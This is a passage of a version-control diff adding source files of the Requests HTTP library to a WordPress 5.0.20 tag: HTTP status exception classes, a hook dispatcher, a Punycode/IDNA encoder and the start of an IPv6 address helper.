+ * @package Requests
+ */
+class Requests_Exception_HTTP_416 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 416;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Requested Range Not Satisfiable';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/417.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/417.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/417.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 417 Expectation Failed responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 417 Expectation Failed responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_417 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 417;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Expectation Failed';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/418.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/418.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/418.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Exception for 418 I'm A Teapot responses
+ *
+ * @see https://tools.ietf.org/html/rfc2324
+ * @package Requests
+ */
+
+/**
+ * Exception for 418 I'm A Teapot responses
+ *
+ * @see https://tools.ietf.org/html/rfc2324
+ * @package Requests
+ */
+class Requests_Exception_HTTP_418 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 418;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = "I'm A Teapot";
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/428.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/428.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/428.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Exception for 428 Precondition Required responses
+ *
+ * @see https://tools.ietf.org/html/rfc6585
+ * @package Requests
+ */
+
+/**
+ * Exception for 428 Precondition Required responses
+ *
+ * @see https://tools.ietf.org/html/rfc6585
+ * @package Requests
+ */
+class Requests_Exception_HTTP_428 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 428;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Precondition Required';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/429.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/429.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/429.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Exception for 429 Too Many Requests responses
+ *
+ * @see https://tools.ietf.org/html/draft-nottingham-http-new-status-04
+ * @package Requests
+ */
+
+/**
+ * Exception for 429 Too Many Requests responses
+ *
+ * @see https://tools.ietf.org/html/draft-nottingham-http-new-status-04
+ * @package Requests
+ */
+class Requests_Exception_HTTP_429 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 429;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Too Many Requests';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/431.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/431.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/431.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Exception for 431 Request Header Fields Too Large responses
+ *
+ * @see https://tools.ietf.org/html/rfc6585
+ * @package Requests
+ */
+
+/**
+ * Exception for 431 Request Header Fields Too Large responses
+ *
+ * @see https://tools.ietf.org/html/rfc6585
+ * @package Requests
+ */
+class Requests_Exception_HTTP_431 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 431;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Request Header Fields Too Large';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/500.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/500.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/500.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 500 Internal Server Error responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 500 Internal Server Error responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_500 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 500;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Internal Server Error';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/501.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/501.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/501.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 501 Not Implemented responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 501 Not Implemented responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_501 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 501;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Not Implemented';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/502.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/502.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/502.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 502 Bad Gateway responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 502 Bad Gateway responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_502 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 502;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Bad Gateway';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/503.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/503.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/503.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 503 Service Unavailable responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 503 Service Unavailable responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_503 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 503;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Service Unavailable';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/504.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/504.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/504.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 504 Gateway Timeout responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 504 Gateway Timeout responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_504 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 504;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Gateway Timeout';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/505.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/505.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/505.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 505 HTTP Version Not Supported responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 505 HTTP Version Not Supported responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_505 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 505;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'HTTP Version Not Supported';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/511.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/511.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/511.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Exception for 511 Network Authentication Required responses
+ *
+ * @see https://tools.ietf.org/html/rfc6585
+ * @package Requests
+ */
+
+/**
+ * Exception for 511 Network Authentication Required responses
+ *
+ * @see https://tools.ietf.org/html/rfc6585
+ * @package Requests
+ */
+class Requests_Exception_HTTP_511 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 511;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Network Authentication Required';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/Unknown.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/Unknown.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/Unknown.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Exception for unknown status responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for unknown status responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_Unknown extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer|bool Code if available, false if an error occurred
+	 */
+	protected $code = 0;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Unknown';
+
+	/**
+	 * Create a new exception
+	 *
+	 * If `$data` is an instance of {@see Requests_Response}, uses the status
+	 * code from it. Otherwise, sets as 0
+	 *
+	 * @param string|null $reason Reason phrase
+	 * @param mixed $data Associated data
+	 */
+	public function __construct($reason = null, $data = null) {
+		if ($data instanceof Requests_Response) {
+			$this->code = $data->status_code;
+		}
+
+		parent::__construct($reason, $data);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/Transport.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/Transport.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/Transport.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+
+class Requests_Exception_Transport extends Requests_Exception {
+
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/Transport/cURL.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/Transport/cURL.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/Transport/cURL.php	(revision 56912)
@@ -0,0 +1,56 @@
+<?php
+
+class Requests_Exception_Transport_cURL extends Requests_Exception_Transport {
+
+	const EASY = 'cURLEasy';
+	const MULTI = 'cURLMulti';
+	const SHARE = 'cURLShare';
+
+	/**
+	 * cURL error code
+	 *
+	 * @var integer
+	 */
+	protected $code = -1;
+
+	/**
+	 * Which type of cURL error
+	 *
+	 * EASY|MULTI|SHARE
+	 *
+	 * @var string
+	 */
+	protected $type = 'Unknown';
+
+	/**
+	 * Clear text error message
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Unknown';
+
+	public function __construct($message, $type, $data = null, $code = 0) {
+		if ($type !== null) {
+			$this->type = $type;
+		}
+
+		if ($code !== null) {
+			$this->code = $code;
+		}
+
+		if ($message !== null) {
+			$this->reason = $message;
+		}
+
+		$message = sprintf('%d %s', $this->code, $this->reason);
+		parent::__construct($message, $this->type, $data, $this->code);
+	}
+
+	/**
+	 * Get the error message
+	 */
+	public function getReason() {
+		return $this->reason;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Hooker.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Hooker.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Hooker.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Event dispatcher
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * Event dispatcher
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+interface Requests_Hooker {
+	/**
+	 * Register a callback for a hook
+	 *
+	 * @param string $hook Hook name
+	 * @param callback $callback Function/method to call on event
+	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
+	 */
+	public function register($hook, $callback, $priority = 0);
+
+	/**
+	 * Dispatch a message
+	 *
+	 * @param string $hook Hook name
+	 * @param array $parameters Parameters to pass to callbacks
+	 * @return boolean Successfulness
+	 */
+	public function dispatch($hook, $parameters = array());
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Hooks.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Hooks.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Hooks.php	(revision 56912)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Handles adding and dispatching events
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * Handles adding and dispatching events
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+class Requests_Hooks implements Requests_Hooker {
+	/**
+	 * Registered callbacks for each hook
+	 *
+	 * @var array
+	 */
+	protected $hooks = array();
+
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+		// pass
+	}
+
+	/**
+	 * Register a callback for a hook
+	 *
+	 * @param string $hook Hook name
+	 * @param callback $callback Function/method to call on event
+	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
+	 */
+	public function register($hook, $callback, $priority = 0) {
+		if (!isset($this->hooks[$hook])) {
+			$this->hooks[$hook] = array();
+		}
+		if (!isset($this->hooks[$hook][$priority])) {
+			$this->hooks[$hook][$priority] = array();
+		}
+
+		$this->hooks[$hook][$priority][] = $callback;
+	}
+
+	/**
+	 * Dispatch a message
+	 *
+	 * @param string $hook Hook name
+	 * @param array $parameters Parameters to pass to callbacks
+	 * @return boolean Successfulness
+	 */
+	public function dispatch($hook, $parameters = array()) {
+		if (empty($this->hooks[$hook])) {
+			return false;
+		}
+
+		foreach ($this->hooks[$hook] as $priority => $hooked) {
+			foreach ($hooked as $callback) {
+				call_user_func_array($callback, $parameters);
+			}
+		}
+
+		return true;
+	}
+
+	public function __wakeup() {
+		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/IDNAEncoder.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/IDNAEncoder.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/IDNAEncoder.php	(revision 56912)
@@ -0,0 +1,388 @@
+<?php
+
+/**
+ * IDNA URL encoder
+ *
+ * Note: Not fully compliant, as nameprep does nothing yet.
+ *
+ * @package Requests
+ * @subpackage Utilities
+ * @see https://tools.ietf.org/html/rfc3490 IDNA specification
+ * @see https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
+ */
+class Requests_IDNAEncoder {
+	/**
+	 * ACE prefix used for IDNA
+	 *
+	 * @see https://tools.ietf.org/html/rfc3490#section-5
+	 * @var string
+	 */
+	const ACE_PREFIX = 'xn--';
+
+	/**#@+
+	 * Bootstrap constant for Punycode
+	 *
+	 * @see https://tools.ietf.org/html/rfc3492#section-5
+	 * @var int
+	 */
+	const BOOTSTRAP_BASE         = 36;
+	const BOOTSTRAP_TMIN         = 1;
+	const BOOTSTRAP_TMAX         = 26;
+	const BOOTSTRAP_SKEW         = 38;
+	const BOOTSTRAP_DAMP         = 700;
+	const BOOTSTRAP_INITIAL_BIAS = 72;
+	const BOOTSTRAP_INITIAL_N    = 128;
+	/**#@-*/
+
+	/**
+	 * Encode a hostname using Punycode
+	 *
+	 * @param string $string Hostname
+	 * @return string Punycode-encoded hostname
+	 */
+	public static function encode($string) {
+		$parts = explode('.', $string);
+		foreach ($parts as &$part) {
+			$part = self::to_ascii($part);
+		}
+		return implode('.', $parts);
+	}
+
+	/**
+	 * Convert a UTF-8 string to an ASCII string using Punycode
+	 *
+	 * @throws Requests_Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
+	 * @throws Requests_Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
+	 * @throws Requests_Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
+	 * @throws Requests_Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
+	 *
+	 * @param string $string ASCII or UTF-8 string (max length 64 characters)
+	 * @return string ASCII string
+	 */
+	public static function to_ascii($string) {
+		// Step 1: Check if the string is already ASCII
+		if (self::is_ascii($string)) {
+			// Skip to step 7
+			if (strlen($string) < 64) {
+				return $string;
+			}
+
+			throw new Requests_Exception('Provided string is too long', 'idna.provided_too_long', $string);
+		}
+
+		// Step 2: nameprep
+		$string = self::nameprep($string);
+
+		// Step 3: UseSTD3ASCIIRules is false, continue
+		// Step 4: Check if it's ASCII now
+		if (self::is_ascii($string)) {
+			// Skip to step 7
+			if (strlen($string) < 64) {
+				return $string;
+			}
+
+			throw new Requests_Exception('Prepared string is too long', 'idna.prepared_too_long', $string);
+		}
+
+		// Step 5: Check ACE prefix
+		if (strpos($string, self::ACE_PREFIX) === 0) {
+			throw new Requests_Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $string);
+		}
+
+		// Step 6: Encode with Punycode
+		$string = self::punycode_encode($string);
+
+		// Step 7: Prepend ACE prefix
+		$string = self::ACE_PREFIX . $string;
+
+		// Step 8: Check size
+		if (strlen($string) < 64) {
+			return $string;
+		}
+
+		throw new Requests_Exception('Encoded string is too long', 'idna.encoded_too_long', $string);
+	}
+
+	/**
+	 * Check whether a given string contains only ASCII characters
+	 *
+	 * @internal (Testing found regex was the fastest implementation)
+	 *
+	 * @param string $string
+	 * @return bool Is the string ASCII-only?
+	 */
+	protected static function is_ascii($string) {
+		return (preg_match('/(?:[^\x00-\x7F])/', $string) !== 1);
+	}
+
+	/**
+	 * Prepare a string for use as an IDNA name
+	 *
+	 * @todo Implement this based on RFC 3491 and the newer 5891
+	 * @param string $string
+	 * @return string Prepared string
+	 */
+	protected static function nameprep($string) {
+		return $string;
+	}
+
+	/**
+	 * Convert a UTF-8 string to a UCS-4 codepoint array
+	 *
+	 * Based on Requests_IRI::replace_invalid_with_pct_encoding()
+	 *
+	 * @throws Requests_Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
+	 * @param string $input
+	 * @return array Unicode code points
+	 */
+	protected static function utf8_to_codepoints($input) {
+		$codepoints = array();
+
+		// Get number of bytes
+		$strlen = strlen($input);
+
+		for ($position = 0; $position < $strlen; $position++) {
+			$value = ord($input[$position]);
+
+			// One byte sequence:
+			if ((~$value & 0x80) === 0x80) {
+				$character = $value;
+				$length = 1;
+				$remaining = 0;
+			}
+			// Two byte sequence:
+			elseif (($value & 0xE0) === 0xC0) {
+				$character = ($value & 0x1F) << 6;
+				$length = 2;
+				$remaining = 1;
+			}
+			// Three byte sequence:
+			elseif (($value & 0xF0) === 0xE0) {
+				$character = ($value & 0x0F) << 12;
+				$length = 3;
+				$remaining = 2;
+			}
+			// Four byte sequence:
+			elseif (($value & 0xF8) === 0xF0) {
+				$character = ($value & 0x07) << 18;
+				$length = 4;
+				$remaining = 3;
+			}
+			// Invalid byte:
+			else {
+				throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
+			}
+
+			if ($remaining > 0) {
+				if ($position + $length > $strlen) {
+					throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
+				}
+				for ($position++; $remaining > 0; $position++) {
+					$value = ord($input[$position]);
+
+					// If it is invalid, count the sequence as invalid and reprocess the current byte:
+					if (($value & 0xC0) !== 0x80) {
+						throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
+					}
+
+					$character |= ($value & 0x3F) << (--$remaining * 6);
+				}
+				$position--;
+			}
+
+			if (
+				// Non-shortest form sequences are invalid
+				   $length > 1 && $character <= 0x7F
+				|| $length > 2 && $character <= 0x7FF
+				|| $length > 3 && $character <= 0xFFFF
+				// Outside of range of ucschar codepoints
+				// Noncharacters
+				|| ($character & 0xFFFE) === 0xFFFE
+				|| $character >= 0xFDD0 && $character <= 0xFDEF
+				|| (
+					// Everything else not in ucschar
+					   $character > 0xD7FF && $character < 0xF900
+					|| $character < 0x20
+					|| $character > 0x7E && $character < 0xA0
+					|| $character > 0xEFFFD
+				)
+			) {
+				throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
+			}
+
+			$codepoints[] = $character;
+		}
+
+		return $codepoints;
+	}
+
+	/**
+	 * RFC3492-compliant encoder
+	 *
+	 * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
+	 * @throws Requests_Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
+	 *
+	 * @param string $input UTF-8 encoded string to encode
+	 * @return string Punycode-encoded string
+	 */
+	public static function punycode_encode($input) {
+		$output = '';
+#		let n = initial_n
+		$n = self::BOOTSTRAP_INITIAL_N;
+#		let delta = 0
+		$delta = 0;
+#		let bias = initial_bias
+		$bias = self::BOOTSTRAP_INITIAL_BIAS;
+#		let h = b = the number of basic code points in the input
+		$h = $b = 0; // see loop
+#		copy them to the output in order
+		$codepoints = self::utf8_to_codepoints($input);
+		$extended = array();
+
+		foreach ($codepoints as $char) {
+			if ($char < 128) {
+				// Character is valid ASCII
+				// TODO: this should also check if it's valid for a URL
+				$output .= chr($char);
+				$h++;
+			}
+			// Check if the character is non-ASCII, but below initial n
+			// This never occurs for Punycode, so ignore in coverage
+			// @codeCoverageIgnoreStart
+			elseif ($char < $n) {
+				throw new Requests_Exception('Invalid character', 'idna.character_outside_domain', $char);
+			}
+			// @codeCoverageIgnoreEnd
+			else {
+				$extended[$char] = true;
+			}
+		}
+		$extended = array_keys($extended);
+		sort($extended);
+		$b = $h;
+#		[copy them] followed by a delimiter if b > 0
+		if (strlen($output) > 0) {
+			$output .= '-';
+		}
+#		{if the input contains a non-basic code point < n then fail}
+#		while h < length(input) do begin
+		while ($h < count($codepoints)) {
+#			let m = the minimum code point >= n in the input
+			$m = array_shift($extended);
+			//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
+#			let delta = delta + (m - n) * (h + 1), fail on overflow
+			$delta += ($m - $n) * ($h + 1);
+#			let n = m
+			$n = $m;
+#			for each code point c in the input (in order) do begin
+			for ($num = 0; $num < count($codepoints); $num++) {
+				$c = $codepoints[$num];
+#				if c < n then increment delta, fail on overflow
+				if ($c < $n) {
+					$delta++;
+				}
+#				if c == n then begin
+				elseif ($c === $n) {
+#					let q = delta
+					$q = $delta;
+#					for k = base to infinity in steps of base do begin
+					for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
+#						let t = tmin if k <= bias {+ tmin}, or
+#								tmax if k >= bias + tmax, or k - bias otherwise
+						if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
+							$t = self::BOOTSTRAP_TMIN;
+						}
+						elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
+							$t = self::BOOTSTRAP_TMAX;
+						}
+						else {
+							$t = $k - $bias;
+						}
+#						if q < t then break
+						if ($q < $t) {
+							break;
+						}
+#						output the code point for digit t + ((q - t) mod (base - t))
+						$digit = $t + (($q - $t) % (self::BOOTSTRAP_BASE - $t));
+						$output .= self::digit_to_char($digit);
+#						let q = (q - t) div (base - t)
+						$q = floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
+#					end
+					}
+#					output the code point for digit q
+					$output .= self::digit_to_char($q);
+#					let bias = adapt(delta, h + 1, test h equals b?)
+					$bias = self::adapt($delta, $h + 1, $h === $b);
+#					let delta = 0
+					$delta = 0;
+#					increment h
+					$h++;
+#				end
+				}
+#			end
+			}
+#			increment delta and n
+			$delta++;
+			$n++;
+#		end
+		}
+
+		return $output;
+	}
+
+	/**
+	 * Convert a digit to its respective character
+	 *
+	 * @see https://tools.ietf.org/html/rfc3492#section-5
+	 * @throws Requests_Exception On invalid digit (`idna.invalid_digit`)
+	 *
+	 * @param int $digit Digit in the range 0-35
+	 * @return string Single character corresponding to digit
+	 */
+	protected static function digit_to_char($digit) {
+		// @codeCoverageIgnoreStart
+		// As far as I know, this never happens, but still good to be sure.
+		if ($digit < 0 || $digit > 35) {
+			throw new Requests_Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
+		}
+		// @codeCoverageIgnoreEnd
+		$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
+		return substr($digits, $digit, 1);
+	}
+
+	/**
+	 * Adapt the bias
+	 *
+	 * @see https://tools.ietf.org/html/rfc3492#section-6.1
+	 * @param int $delta
+	 * @param int $numpoints
+	 * @param bool $firsttime
+	 * @return int New bias
+	 */
+	protected static function adapt($delta, $numpoints, $firsttime) {
+#	function adapt(delta,numpoints,firsttime):
+#		if firsttime then let delta = delta div damp
+		if ($firsttime) {
+			$delta = floor($delta / self::BOOTSTRAP_DAMP);
+		}
+#		else let delta = delta div 2
+		else {
+			$delta = floor($delta / 2);
+		}
+#		let delta = delta + (delta div numpoints)
+		$delta += floor($delta / $numpoints);
+#		let k = 0
+		$k = 0;
+#		while delta > ((base - tmin) * tmax) div 2 do begin
+		$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
+		while ($delta > $max) {
+#			let delta = delta div (base - tmin)
+			$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
+#			let k = k + base
+			$k += self::BOOTSTRAP_BASE;
+#		end
+		}
+#		return k + (((base - tmin + 1) * delta) div (delta + skew))
+		return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/IPv6.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/IPv6.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/IPv6.php	(revision 56912)
@@ -0,0 +1,190 @@
+<?php
+/**
+ * Class to validate and to work with IPv6 addresses
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * Class to validate and to work with IPv6 addresses
+ *
+ * This was originally based on the PEAR class of the same name, but has been
+ * entirely rewritten.
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+class Requests_IPv6 {
+	/**
+	 * Uncompresses an IPv6 address
+	 *
+	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
+	 * '::'. This method expects a valid IPv6 address and expands the '::' to
+	 * the required number of zero pieces.
+	 *
+	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
+	 *           ::1         ->  0:0:0:0:0:0:0:1
+	 *
+	 * @author Alexander Merz <alexander.merz@web.de>
+	 * @author elfrink at introweb dot nl
+	 * @author Josh Peck <jmp at joshpeck dot org>
+	 * @copyright 2003-2005 The PHP Group
+	 * @license http://www.opensource.org/licenses/bsd-license.php
+	 * @param string $ip An IPv6 address
+	 * @return string The uncompressed IPv6 address
+	 */
+	public static function uncompress($ip) {
+		if (substr_count($ip, '::') !== 1) {
+			return $ip;
+		}
+
+		list($ip1, $ip2) = explode('::', $ip);
+		$c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':');
+		$c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':');
+
+		if (strpos($ip2, '.') !== false) {
+			$c2++;
+		}
+		// ::
+		if ($c1 === -1 && $c2 === -1) {
+			$ip = '0:0:0:0:0:0:0:0';
+		}
+		// ::xxx
+		else if ($c1 === -1) {
+			$fill = str_repeat('0:', 7 - $c2);
+			$ip = str_replace('::', $fill, $ip);
+		}
+		// xxx::
+		else if ($c2 === -1) {
+			$fill = str_repeat(':0', 7 - $c1);
+			$ip = str_replace('::', $fill, $ip);
+		}
+		// xxx::xxx
+		else {
+			$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
+			$ip = str_replace('::', $fill, $ip);
+		}
+		return $ip;
+	}
+
+	/**
+	 * Compresses an IPv6 address
+	 *
+	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
+	 * '::'. This method expects a valid IPv6 address and compresses consecutive
+	 * zero pieces to '::'.
+	 *
+	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
+	 *           0:0:0:0:0:0:0:1        ->  ::1
+	 *
+	 * @see uncompress()
+	 * @param string $ip An IPv6 address
+	 * @return string The compressed IPv6 address
+	 */
+	public static function compress($ip) {
+		// Prepare the IP to be compressed
+		$ip = self::uncompress($ip);
+		$ip_parts = self::split_v6_v4($ip);
+
+		// Replace all leading zeros
+		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);
+
